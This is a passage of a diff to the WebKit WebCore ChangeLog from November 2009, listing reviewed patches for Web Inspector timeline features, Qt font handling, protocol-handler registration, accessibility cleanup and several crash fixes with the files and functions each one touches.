+        Reviewed by Timothy Hatcher.
+
+        Adds paint rectangle information to TimelineAgent's didPaint callback.
+        https://bugs.webkit.org/show_bug.cgi?id=31087
+
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willPaint):
+        * inspector/InspectorTimelineAgent.h:
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createPaintTimelineRecord):
+        * inspector/TimelineRecordFactory.h:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::paintContents):
+
+2009-11-04  Jaime Yap  <jaimeyap@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        This patch adds API to the console object for annotating the
+        inspector timeline. This allows developers to mark logical
+        checkpoints in their apps and have them overlaid in the event
+        record tree.
+
+        tests updated: LayoutTests/fast/dom/Window/window-properties.html
+        https://bugs.webkit.org/show_bug.cgi?id=31082
+
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::markTimeline):
+        * inspector/InspectorController.h:
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::didMarkTimeline):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createMarkTimelineRecord):
+        * inspector/TimelineRecordFactory.h:
+        * inspector/front-end/TimelineAgent.js:
+        * page/Console.cpp:
+        (WebCore::Console::markTimeline):
+        * page/Console.h:
+        * page/Console.idl:
+
+2009-11-03  Simon Hausmann  <hausmann@webkit.org>
+
+        Unreviewed build fix for WebInspector with Qt build.
+
+        Simply re-generate the Qt resource file by running
+        WebKitTools/Scripts/generate-qt-inspector-resource
+
+        * inspector/front-end/WebKit.qrc:
+
+2009-11-02  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Handle fonts like the other ports
+
+        Remove FontFallbackListQt and rely on the common FontFallbackList
+        to handle the fonts. FontCache and FontPlatformData have been
+        updated to work with the common FontFallbackList.
+
+        In the previous implementation, FontPlatformDataCacheKey
+        was a clone of FontPlatformData with the hashing
+        capabilities added in order to use it as a key in the cache's
+        hashmap. FontPlatformData has been modified to handle the hashing
+        function directly so the data are not copied twice in memory.
+
+        FontFallbackList::fontDataAt() from FontFallbackListQt was a copy of
+        code from FontCache::getFontData() and FontFallbackList::fontDataAt().
+        The behavior is similar except currFamily->family().length() was
+        not tested and the fallback fonts selector were not used.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29856
+
+        Test: svg/text/text-font-invalid.html
+
+        * WebCore.pro:
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontCache::platformInit):
+        (WebCore::FontCache::getFontDataForCharacters):
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        (WebCore::FontCache::getTraitsInFamily):
+        (WebCore::FontCache::createFontPlatformData):
+        * platform/graphics/qt/FontFallbackListQt.cpp:
+        Removed. We now use the implementation from FontFallbackList.cpp
+        * platform/graphics/qt/FontPlatformData.h:
+        Add hashing capabilities to be able to use the data with the FontCache.
+        This was previously done in FontCacheQt.cpp
+        (WebCore::FontPlatformData::FontPlatformData):
+        Added a boolean to identify deleted value in the hash table.
+        (WebCore::FontPlatformData::isHashTableDeletedValue):
+        (WebCore::FontPlatformData::hash):
+        (WebCore::FontPlatformData::operator==):
+        * platform/graphics/qt/FontPlatformDataQt.cpp:
+        (WebCore::FontPlatformData::FontPlatformData):
+
+2009-11-03  Dan Bernstein  <mitz@apple.com>
+
+        Leopard build fix
+
+        * platform/network/mac/AuthenticationMac.mm:
+        (WebCore::mac):
+        (WebCore::core):
+
+2009-11-03  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fix an assertion failure in core(NSURLProtectionSpace *) by handling NTLM
+        authentication in AuthenticationMac
+
+        * platform/network/mac/AuthenticationMac.mm:
+
+2009-11-03  Eric Z. Ayers  <zundel@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes a problem where the timeline instrumentation crashes if
+        timeline profiling is enabled or disabled in the middle of an
+        event dispatch.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31080
+
+        Test: inspector/timeline-trivial.html
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluateInWorld):
+        (WebCore::ScriptController::processingUserGestureEvent):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
+        * page/DOMTimer.cpp:
+        (WebCore::DOMTimer::fired):
+
+2009-11-03  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Allow a frame to go back to copy-on-scroll when it ceases being overlapped
+
+        The code was not testing slow-scrolling frames for overlappedness, thinking the answer
+        would not matter. That is not the case if the only reason for the slow-scrolling is
+        being overlapped.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::useSlowRepaintsIfNotOverlapped): Added. Returns whether there is any
+        reason besides being overlapped that the frame would need to fully repaint on scroll.
+        * page/FrameView.h:
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::paint): Use useSlowRepaintsIfNotOverlapped().
+
+2009-11-03  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, Qt build fix.
+
+        Need to use right capitalization for include file.
+
+        * page/Navigator.cpp:
+
+2009-11-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Migrate from top bar filters to check boxes in Timeline.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31081
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.showCategory):
+        (WebInspector.AbstractTimelinePanel.prototype.hideCategory):
+        (WebInspector.AbstractTimelinePanel.prototype.filter):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelineCategoryTreeElement.prototype.onattach):
+        (WebInspector.TimelineCategoryTreeElement.prototype._onCheckboxClick):
+        (WebInspector.TimelineCategoryGraph.prototype.clearChunks):
+        (WebInspector.TimelineCategoryGraph.prototype.set dimmed):
+        * inspector/front-end/inspector.css:
+
+2009-11-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: clear overview on Clear action and panel reset.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31078
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._getRecordDetails):
+        (WebInspector.TimelinePanel.prototype.reset):
+
+2009-11-03  Yaar Schnitman  <yaar@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Imported action and rules python files that WebCore.gyp depends on. 
+        These files used to live in chromium.org and deal mostly with auto-generation
+        of code by wrapping existing webkit perl scripts.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31071
+
+        * WebCore.gyp/WebCore.gyp: Fixed paths in actions and rules.
+        * WebCore.gyp/scripts/action_csspropertynames.py: Added.
+        * WebCore.gyp/scripts/action_cssvaluekeywords.py: Added.
+        * WebCore.gyp/scripts/action_makenames.py: Added.
+        * WebCore.gyp/scripts/action_maketokenizer.py: Added.
+        * WebCore.gyp/scripts/action_useragentstylesheets.py: Added.
+        * WebCore.gyp/scripts/rule_binding.py: Added.
+        * WebCore.gyp/scripts/rule_bison.py: Added.
+        * WebCore.gyp/scripts/rule_gperf.py: Added.
+
+2009-11-03  Bradley Green  <brg@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Implement window.navigator.registerProtocolHandler in webkit,
+        https://bugs.webkit.org/b/29651
+
+        Also implemented its sister API window.navigator.registerContentHandler.
+
+        These methods are as described in the HTML5 specification which can be
+        found here,
+        http://dev.w3.org/html5/spec/Overview.html#dom-navigator-registerprotocolhandler
+        http://dev.w3.org/html5/spec/Overview.html#dom-navigator-registercontenthandler
+
+        As specified in the document, the behavior of the browser is determined
+        by the current registered handler.  The state of a registered handler
+        can change at any time, with the user clearing a registered handler,
+        registering a different page as handler, or deferring the hander to the
+        OS.  If webkit was to track the state of the currently registered
+        handlers, it would need more APIs and complexity to keep in sync with
+        user actions reported to webkit from the UA.  For simplicity, the state
+        of protocol handlers should be kept isolated from webkit and webkit only
+        notifies the UA that a page has made the call.  The UA is then
+        responsible for correctly handling the registerProtocolHandler call and
+        the redirects which result from registration.
+
+        We do however follow the specification in insuring that the reserved
+        schemes and mimeTypes are not passed to the UA as custom handler
+        registration tests.  We also insure that the "%s" token is present as
+        required by the specification.
+
+        Updated test expectations for window.clientInformation and navigator
+        objects.
+
+        Tests: fast/dom/registerContentHandler.html
+               fast/dom/registerProtocolHandler.html
+
+        * page/Chrome.cpp:
+        (WebCore::Chrome::registerProtocolHandler):
+        (WebCore::Chrome::registerContentHandler):
+        * page/Chrome.h:
+        * page/ChromeClient.h:
+        (WebCore::ChromeClient::registerProtocolHandler):
+        (WebCore::ChromeClient::registerContentHandler):
+        * page/Navigator.cpp:
+        (WebCore::verifyCustomHandlerURL):
+        (WebCore::verifyProtocolHandlerScheme):
+        (WebCore::Navigator::registerProtocolHandler):
+        (WebCore::verifyProtocolHandlerMimeType):
+        (WebCore::Navigator::registerContentHandler):
+        * page/Navigator.h:
+        * page/Navigator.idl:
+
+2009-11-03  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31079 - Remove #include "Page.h" from Document.h
+
+        No new tests. (No change in functionality)
+
+        * dom/Document.cpp:
+        (WebCore::Document::inspectorTimelineAgent): Moved from Document.h
+        * dom/Document.h:
+
+        Include "Page.h" directly:
+        * html/HTMLVideoElement.cpp:
+        * loader/RedirectScheduler.cpp:
+        * page/History.cpp:
+        * rendering/MediaControlElements.cpp:
+        * storage/StorageAreaImpl.cpp:
+
+2009-11-03  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: hover over JS "things" in source and see their values
+        https://bugs.webkit.org/show_bug.cgi?id=30913
+
+        * inspector/front-end/SourceFrame.js:
+
+2009-11-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: update timeline content boundaries on timer.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31072
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype.refresh):
+        (WebInspector.TimelinePanel.prototype._setWindowPosition):
+
+2009-11-03  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Anders Carlsson and Beth Dakin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31070
+        Fix <rdar://problem/7194735> Crashes at RenderText::RenderText()
+        Fix <rdar://problem/6937089> Crashes at RenderWidget::destroy()
+
+        Tests: plugins/attach-during-destroy.html
+               plugins/destroy-reentry.html
+
+        These crashes were caused by plug-in code running during detach(),
+        causing re-entry into RenderWidget::destroy() in one case and a call
+        into attach() in the other. The fix is to prevent plug-in code from
+        being called at certain unsafe times (during attach(), detach(), and
+        recalcStyle()) by deferring changes to the widget hierarchy.
+
+        * dom/Document.cpp:
+        (WebCore::Document::recalcStyle): Suspend widget hierarchy updates
+            during style recalculation.
+
+        * dom/Element.cpp:
+        (WebCore::Element::attach): Suspend widget hierarchy updates during
+            attach().
+        (WebCore::Element::detach): Suspend widget hierarchy updates during
+            detach().
+
+        * rendering/RenderWidget.cpp:
+        (WebCore::widgetNewParentMap): Returns a static map of pending changes
+            to the widget hierarchy.
+        (WebCore::RenderWidget::suspendWidgetHierarchyUpdates): Increments the
+            suspend count.
+        (WebCore::RenderWidget::resumeWidgetHierarchyUpdates): Decrements the
+            suspend count. If the count is going to be zero, updates the widget
+            hierarchy by executing the pending changes stored in the map.
+        (WebCore::moveWidgetToParentSoon): Updates the widget hierarchy
+            immediately or makes or updates an entry in the map, depending on
+            whether updates are suspended.
+        (WebCore::RenderWidget::destroy): Removed earlier bandaid fix for
+            <rdar://problem/6937089>.
+        (WebCore::RenderWidget::setWidgetGeometry): Assert that widget updates
+            are not suspended, because this function updates the widget’s
+            bounds, which can result in arbitrary native and JavaScript code
+            execution. I think this assertion is true thanks to some deferred-
+            update mechanisms that have already been deployed in other places
+            in the code.
+        (WebCore::RenderWidget::setWidget): Call moveWidgetToParentSoon instead
+            of changing the widget hierarchy directly.
+        * rendering/RenderWidget.h: Declared suspendWidgetHierarchyUpdates()
+            and resumeWidgetHierarchyUpdates().
+
+2009-11-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: only show timeline records that contribute
+        to the current window.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31069
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype.refresh):
+        (WebInspector.TimelineGraph):
+        (WebInspector.TimelineGraph.prototype.refresh):
+
+2009-11-03  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Watch expression editor should stay open after Add button was clicked
+        https://bugs.webkit.org/show_bug.cgi?id=31049
+
+        No new tests, was a regression, use existing manual test.
+
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        (WebInspector.WatchExpressionsSection.prototype.addExpression):
+
+2009-11-03  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix an off-by-one in the CSS lexer that causes memory corruption in
+        hard-to-trigger circumstances.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30827
+
+        Test: fast/css/end-of-buffer-crash.html
+
+        * css/maketokenizer: Add comments, fix off-by-one.
+
+2009-11-02  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Crash due to double-destroy related to CSS run-in property
+        https://bugs.webkit.org/show_bug.cgi?id=31034
+        rdar://problem/7328458
+
+        Test: fast/css/run-in-crash.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::destroy): Reorder destruction so the
+        continuation is destroyed after anonymous children. See comment
+        in the code for more details of why this is right.
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::destroy): Ditto.
+
+2009-11-03  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Fix exception in ElementsPanel.js when moving pointer out of crumbs and window
+
+        There might be no new node under mouse if the pointer is moved out of the window
+        in which case we get an exception.
+        https://bugs.webkit.org/show_bug.cgi?id=31061
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype._mouseMovedOutOfCrumbs):
+
+2009-11-03  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for the dom directory of WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=31053
+
+        Inherits the following classes from Noncopyable because these are
+        instantiated by 'new' and these are no need to be copyable:
+
+        class EventNames - 'new' call: WebCore/platform/ThreadGlobalData.cpp:73
+        struct PerformTaskContext - 'new' call: WebCore/dom/Document.cpp:4581
+        class EventData - 'new' call: WebCore/dom/MessagePortChannel.cpp:38
+        struct NodeListsNodeData - 'new' call: WebCore/dom/NodeRareData.h:51 
+        struct EventTargetData - 'new' call: WebCore/dom/NodeRareData.h:100
+        class NodeRareData - 'new' call: WebCore/dom/Node.cpp:552
+
+        Inherits QualifiedName class from FastAllocBase because it is
+        instantiated by 'new' in WebCore/editing/markup.cpp:319
+
+        * dom/Document.cpp:
+        * dom/EventNames.h:
+        * dom/EventTarget.h:
+        * dom/MessagePortChannel.h:
+        * dom/NodeRareData.h:
+        * dom/QualifiedName.h:
+
+2009-11-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Implement timeline summary panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31064
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._createOverview):
+        (WebInspector.TimelinePanel.prototype.refresh):
+        (WebInspector.TimelineCategoryGraph):
+        (WebInspector.TimelineCategoryGraph.prototype.get graphElement):
+        (WebInspector.TimelineCategoryGraph.prototype.addChunk):
+        (WebInspector.TimelineCategoryGraph.prototype.clearChunks):
+        (WebInspector.TimelineGraph.prototype.refresh):
+        * inspector/front-end/inspector.css:
+
+2009-11-03  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Toggle off 'Search for node' when the Inspector window is closing
+
+        Searching for node should be toggled off when the Inspector window is closed,
+        in a platform-independent manner.
+        https://bugs.webkit.org/show_bug.cgi?id=31059
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setWindowVisible):
+
+2009-11-03  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Prepare for heap profiles upstreaming:
+        - pass profile type id from InspectorController;
+        - this makes WebInspector.CPUProfile redundant---removed;
+        - support multiple profile types when populating profiles.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31052
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::createProfileHeader):
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.CPUProfileView.profileCallback):
+        (WebInspector.CPUProfileView):
+        (WebInspector.CPUProfileView.prototype._sortData):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addProfileHeader):
+
+2009-11-03  Dan Kegel  <dank@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        UMR in WebCore::AccessibilityRenderObject::children(); m_childrenDirty uninitialized in constructor
+        https://bugs.webkit.org/show_bug.cgi?id=31063
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::AccessibilityRenderObject):
+
+2009-11-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Implement Timeline Window, wire it to the bottom timeline.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31056
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.get items):
+        (WebInspector.AbstractTimelinePanel.prototype.createInterface):
+        (WebInspector.AbstractTimelinePanel.prototype.updateGraphDividersIfNeeded):
+        (WebInspector.AbstractTimelinePanel.prototype._updateDividersLabelBarPosition):
+        (WebInspector.AbstractTimelinePanel.prototype.invalidateAllItems):
+        (WebInspector.AbstractTimelinePanel.prototype.refresh):
+        (WebInspector.AbstractTimelinePanel.prototype.adjustScrollPosition):
+        (WebInspector.AbstractTimelinePanel.prototype.addExtraDivider):
+        (WebInspector.TimelineGrid):
+        (WebInspector.TimelineGrid.prototype.get itemsGraphsElement):
+        (WebInspector.TimelineGrid.prototype.updateDividers):
+        (WebInspector.TimelineGrid.prototype.addExtraDivider):
+        (WebInspector.TimelineGrid.prototype.setScrollAndDividerTop):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.updateGraphDividersIfNeeded):
+        (WebInspector.ResourcesPanel.prototype.get _resources):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype.get categories):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype.reset):
+        (WebInspector.TimelinePanel.prototype._createOverview):
+        (WebInspector.TimelinePanel.prototype.setSidebarWidth):
+        (WebInspector.TimelinePanel.prototype.updateMainViewWidth):
+        (WebInspector.TimelinePanel.prototype.updateGraphDividersIfNeeded):
+        (WebInspector.TimelinePanel.prototype.refresh):
+        (WebInspector.TimelinePanel.prototype._resizeWindow):
+        (WebInspector.TimelinePanel.prototype._windowResizeDragging):
+        (WebInspector.TimelinePanel.prototype._dragWindow):
+        (WebInspector.TimelinePanel.prototype._windowDragging):
+        (WebInspector.TimelinePanel.prototype._resizeWindowLeft):
+        (WebInspector.TimelinePanel.prototype._resizeWindowRight):
+        (WebInspector.TimelinePanel.prototype._setWindowPosition):
+        (WebInspector.TimelinePanel.prototype._endWindowDragging):
+        (WebInspector.TimelineCategoryTreeElement):
+        (WebInspector.TimelineCategoryTreeElement.prototype.onattach):
+        (WebInspector.TimelineCalculator.prototype.computeBarGraphPercentages):
+        (WebInspector.TimelineCalculator.prototype.get minimumBoundary):
+        (WebInspector.TimelineCalculator.prototype.get maximumBoundary):
+        (WebInspector.TimelineCalculator.prototype.reset):
+        (WebInspector.TimelineCalculator.prototype.updateBoundaries):
+        (WebInspector.TimelineCalculator.prototype.formatValue):
+        * inspector/front-end/inspector.css:
+
+2009-11-03  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Make QWebPluginDatabase private API for now.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30775
+
+        * WebCore.pro:
+
+2009-11-03  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Extended the conversion of the WebCore ResourceRequest to the
+        QNetworkRequest with a mandatory originating object argument,
+        which is meant to be the QWebFrame the request belongs to.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29975
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+        (WebCore::QNetworkReplyHandler::start):
+        * platform/network/qt/ResourceRequest.h:
+        * platform/network/qt/ResourceRequestQt.cpp:
+        (WebCore::ResourceRequest::toNetworkRequest):
+
+2009-11-03  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: monitorEvent should be monitorEvents
+        https://bugs.webkit.org/show_bug.cgi?id=31042
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._ensureCommandLineAPIInstalled):
+
+2009-11-02  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Rubber-stamped by Antti Koivisto.
+
+        [Qt] Build fix for Windows CE
+
+        * plugins/PluginDatabase.cpp:
+
+2009-11-02  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by David Levin.
+
+        fix accessibility webkit-style-check errors
+        https://bugs.webkit.org/show_bug.cgi?id=29672
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+        (WebCore::AXObjectCache::remove):
+        (WebCore::AXObjectCache::platformGenerateAXID):
+        (WebCore::AXObjectCache::removeAXID):
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::enableAccessibility):
+        (WebCore::AXObjectCache::enableEnhancedUserInterfaceAccessibility):
+        (WebCore::AXObjectCache::accessibilityEnabled):
+        (WebCore::AXObjectCache::accessibilityEnhancedUserInterfaceEnabled):
+        (WebCore::AXObjectCache::isIDinUse):
+        (WebCore::AXObjectCache::objectFromAXID):
+        (WebCore::AXObjectCache::):
+        (WebCore::AXObjectCache::handleActiveDescendantChanged):
+        (WebCore::AXObjectCache::handleAriaRoleChanged):
+        (WebCore::AXObjectCache::detachWrapper):
+        (WebCore::AXObjectCache::attachWrapper):
+        (WebCore::AXObjectCache::selectedChildrenChanged):
+        (WebCore::AXObjectCache::postNotification):
+        (WebCore::AXObjectCache::postPlatformNotification):
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+        (WebCore::AXObjectCache::handleScrolledToAnchor):
+        * accessibility/AccessibilityARIAGrid.cpp:
+        (WebCore::AccessibilityARIAGrid::cellForColumnAndRow):
+        * accessibility/AccessibilityAllInOne.cpp:
+        * accessibility/AccessibilityImageMapLink.cpp:
+        * accessibility/AccessibilityList.h:
+        (WebCore::AccessibilityList::isList):
+        * accessibility/AccessibilityListBox.cpp:
+        * accessibility/AccessibilityListBox.h:
+        (WebCore::AccessibilityListBox::isListBox):
+        * accessibility/AccessibilityListBoxOption.cpp:
+        * accessibility/AccessibilityListBoxOption.h:
+        (WebCore::AccessibilityListBoxOption::isListBoxOption):
+        * accessibility/AccessibilityMediaControls.h:
+        (WebCore::AccessibilityMediaControl::~AccessibilityMediaControl):
+        (WebCore::AccessibilityMediaTimeline::~AccessibilityMediaTimeline):
+        (WebCore::AccessibilityMediaTimeline::isMediaTimeline):
+        (WebCore::AccessibilityMediaControlsContainer::~AccessibilityMediaControlsContainer):
+        (WebCore::AccessibilityMediaControlsContainer::roleValue):
+        (WebCore::AccessibilityMediaControlsContainer::accessibilityIsIgnored):
+        (WebCore::AccessibilityMediaTimeDisplay::~AccessibilityMediaTimeDisplay):
+        (WebCore::AccessibilityMediaTimeDisplay::roleValue):
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::parentObjectUnignored):
+        (WebCore::AccessibilityObject::rightLineVisiblePositionRange):
+        (WebCore::replacedNodeNeedsCharacter):
+        (WebCore::AccessibilityObject::stringForVisiblePositionRange):
+        (WebCore::AccessibilityObject::lengthForVisiblePositionRange):
+        (WebCore::AccessibilityObject::actionVerb):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::PlainTextRange::isNull):
+        (WebCore::AccessibilityObject::isAccessibilityRenderObject):
+        (WebCore::AccessibilityObject::isAnchor):
+        (WebCore::AccessibilityObject::isAttachment):
+        (WebCore::AccessibilityObject::isHeading):
+        (WebCore::AccessibilityObject::isLink):
+        (WebCore::AccessibilityObject::isImage):
+        (WebCore::AccessibilityObject::isNativeImage):
+        (WebCore::AccessibilityObject::isImageButton):
+        (WebCore::AccessibilityObject::isPasswordField):
+        (WebCore::AccessibilityObject::isTextControl):
+        (WebCore::AccessibilityObject::isNativeTextControl):
+        (WebCore::AccessibilityObject::isWebArea):
+        (WebCore::AccessibilityObject::isCheckboxOrRadio):
+        (WebCore::AccessibilityObject::isListBox):
+        (WebCore::AccessibilityObject::isFileUploadButton):
+        (WebCore::AccessibilityObject::isProgressIndicator):
+        (WebCore::AccessibilityObject::isSlider):
+        (WebCore::AccessibilityObject::isControl):
+        (WebCore::AccessibilityObject::isList):
+        (WebCore::AccessibilityObject::isDataTable):
+        (WebCore::AccessibilityObject::isTableRow):
+        (WebCore::AccessibilityObject::isTableColumn):
+        (WebCore::AccessibilityObject::isTableCell):
+        (WebCore::AccessibilityObject::isFieldset):
+        (WebCore::AccessibilityObject::isGroup):
+        (WebCore::AccessibilityObject::isChecked):
+        (WebCore::AccessibilityObject::isEnabled):
+        (WebCore::AccessibilityObject::isSelected):
+        (WebCore::AccessibilityObject::isFocused):
+        (WebCore::AccessibilityObject::isHovered):
+        (WebCore::AccessibilityObject::isIndeterminate):
+        (WebCore::AccessibilityObject::isLoaded):
+        (WebCore::AccessibilityObject::isMultiSelect):
+        (WebCore::AccessibilityObject::isOffScreen):
+        (WebCore::AccessibilityObject::isPressed):
+        (WebCore::AccessibilityObject::isReadOnly):
+        (WebCore::AccessibilityObject::isVisited):
+        (WebCore::AccessibilityObject::isRequired):
+        (WebCore::AccessibilityObject::canSetFocusAttribute):
+        (WebCore::AccessibilityObject::canSetTextRangeAttributes):
+        (WebCore::AccessibilityObject::canSetValueAttribute):
+        (WebCore::AccessibilityObject::hasIntValue):
+        (WebCore::AccessibilityObject::accessibilityShouldUseUniqueId):
+        (WebCore::AccessibilityObject::accessibilityIsIgnored):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::parentObjectIfExists):
+        (WebCore::AccessibilityRenderObject::parentObject):
+        (WebCore::AccessibilityRenderObject::isMenuRelated):
+        (WebCore::AccessibilityRenderObject::accessibilityDescription):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::AccessibilityRenderObject::isFocused):
+        (WebCore::AccessibilityRenderObject::visiblePositionRangeForLine):
+        (WebCore::AccessibilityRenderObject::setSelectedVisiblePositionRange):
+        (WebCore::AccessibilityRenderObject::doAXRangeForLine):
+        (WebCore::AccessibilityRenderObject::doAXStringForRange):
+        (WebCore::AccessibilityRenderObject::accessibilityImageMapHitTest):
+        (WebCore::AccessibilityRenderObject::determineAriaRoleAttribute):
+        (WebCore::AccessibilityRenderObject::determineAccessibilityRole):
+        (WebCore::AccessibilityRenderObject::isPresentationalChildOfAriaRole):
+        (WebCore::AccessibilityRenderObject::canSetFocusAttribute):
+        (WebCore::AccessibilityRenderObject::canHaveChildren):
+        (WebCore::AccessibilityRenderObject::actionVerb):
+        (WebCore::shouldReturnTagNameAsRoleForMSAA):
+        * accessibility/AccessibilityRenderObject.h:
+        (WebCore::AccessibilityRenderObject::isAccessibilityRenderObject):
+        * accessibility/AccessibilitySlider.cpp:
+        (WebCore::AccessibilitySlider::orientation):
+        * accessibility/AccessibilitySlider.h:
+        (WebCore::AccessibilitySlider::~AccessibilitySlider):
+        (WebCore::AccessibilitySlider::roleValue):
+        (WebCore::AccessibilitySlider::accessibilityIsIgnored):
+        (WebCore::AccessibilitySlider::isSlider):
+        (WebCore::AccessibilitySlider::canSetValueAttribute):
+        (WebCore::AccessibilitySliderThumb::~AccessibilitySliderThumb):
+        (WebCore::AccessibilitySliderThumb::roleValue):
+        (WebCore::AccessibilitySliderThumb::accessibilityIsIgnored):
+        (WebCore::AccessibilitySliderThumb::setParentObject):
+        (WebCore::AccessibilitySliderThumb::parentObject):
+        * accessibility/AccessibilityTable.cpp:
+        (WebCore::AccessibilityTable::isTableExposableThroughAccessibility):
+        * accessibility/AccessibilityTableColumn.cpp:
+        * accessibility/AccessibilityTableHeaderContainer.cpp:
+        (WebCore::AccessibilityTableHeaderContainer::addChildren):
